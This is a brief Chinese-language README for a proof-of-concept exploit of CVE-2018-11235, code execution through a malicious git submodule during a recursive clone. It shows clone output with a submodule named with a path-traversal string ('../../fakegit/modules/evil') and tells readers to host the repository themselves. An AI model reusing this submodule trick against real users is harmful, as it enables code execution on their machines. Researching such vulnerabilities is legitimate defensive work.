
CVE-2018-11235的PoC漏洞利用,允许在`git clone --recurse-submodules`时执行RCE
repository: http://REDACTED/2018-11235_PoC.git/
return:
Submodule 'aaa' (https://repo1) registered for path 'aaa'
Submodule '../../fakegit/modules/evil' (https://repo2) registered for path 'evil'
Submodule path 'aaa': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
Submodule path 'evil': checked out '9c48e0a785dec84cb252677a8a7d55feaeac056c'
由于GitHub阻止我上传PoC
你需要自己搭建一个仓库,我通过创建一个本地仓库来实现,使用git init . --bare